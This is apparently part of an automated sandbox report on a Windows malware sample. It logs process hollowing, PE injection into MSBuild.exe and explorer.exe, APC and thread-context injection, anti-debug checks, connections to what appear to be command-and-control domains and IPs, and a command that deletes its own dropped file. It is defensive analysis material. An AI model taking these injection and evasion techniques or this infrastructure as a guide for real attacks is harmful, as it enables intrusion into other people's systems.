Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A29100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A29100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A29100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2C962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A63D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA3540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A47D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A252A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA46A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABFE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A376E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A516E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A68EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A536CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ADFEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A64A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A64A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ADFE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A58E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1608 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A38A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A25210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A25210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A25210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A25210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A43A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ADB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ADB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF8A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A6927A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A29240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A29240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A29240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A29240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A37E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A37E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A37E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A37E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A37E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A37E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEAE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEAE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEEA55 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AB4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A54BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A54BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A54BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF5BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE138A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A31B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A31B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ADD380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52397 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A38794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A637F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AA53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A24F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A24F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A4F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE131B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04ABFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2DB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A53B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A53B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3EF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF8B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2F358 mov eax, dword ptr fs:[00000030h]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 14_2_0040ACE0 LdrLoadDll,

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 92.222.235.170 80
Source: C:\Windows\explorer.exe	Domain query: www.vzn2aai2qj.icu
Source: C:\Windows\explorer.exe	Domain query: www.shitcoin.team
Source: C:\Windows\explorer.exe	Network Connect: 192.0.78.24 80
Source: C:\Windows\explorer.exe	Domain query: www.deutscheno1.com
Source: C:\Windows\explorer.exe	Domain query: www.bettingweb365.com
Source: C:\Windows\explorer.exe	Network Connect: 107.180.34.104 80
Source: C:\Windows\explorer.exe	Domain query: www.marymarinho.com

Sample uses process hollowing technique

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: 1110000

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: unknown protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: unknown protection: read write

Writes to foreign memory regions

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 72B008

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread register set: target process: 3292
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 3292
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 4704
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 4104

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe {path}
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Source: explorer.exe, 0000000F.00000000.342798346.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.361461353.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.431057607.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.379876329.0000000001400000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 0000000F.00000000.363485956.0000000005F40000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.342798346.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.361461353.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.431057607.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.379876329.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.476695178.0000000003CAA000.00000004.00000010.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.491601749.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.496451134.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.603770655.0000000005C80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000F.00000000.342798346.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.361461353.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.431057607.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.379876329.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000002.603327342.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.481128035.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.484507858.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.484893094.000000000538B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.483030565.000000000538B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.486355986.000000000538B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.486172861.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.483630102.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.491601749.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.501345800.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.480718352.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.496451134.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.496076113.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.491362805.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.482558065.000000000537A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.603770655.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.481290404.0000000005389000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000001E.00000000.489397348.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.601570857.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.494616326.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.499065146.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanb
Source: explorer.exe, 0000001E.00000003.482390182.0000000005353000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.603220789.0000000005310000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.484477118.0000000005353000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.483606549.0000000005353000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.501287373.0000000005318000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.481101139.0000000005353000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.480692412.0000000005353000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.495943991.0000000005318000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.486147134.0000000005353000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd/
Source: explorer.exe, 0000000F.00000000.360548916.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.430748088.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.379669641.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.342229974.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 0000000F.00000000.342798346.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.361461353.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.431057607.0000000001400000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.379876329.0000000001400000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000F.00000000.368905426.0000000008ACF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.352777288.0000000008ACF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.386085770.0000000008ACF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
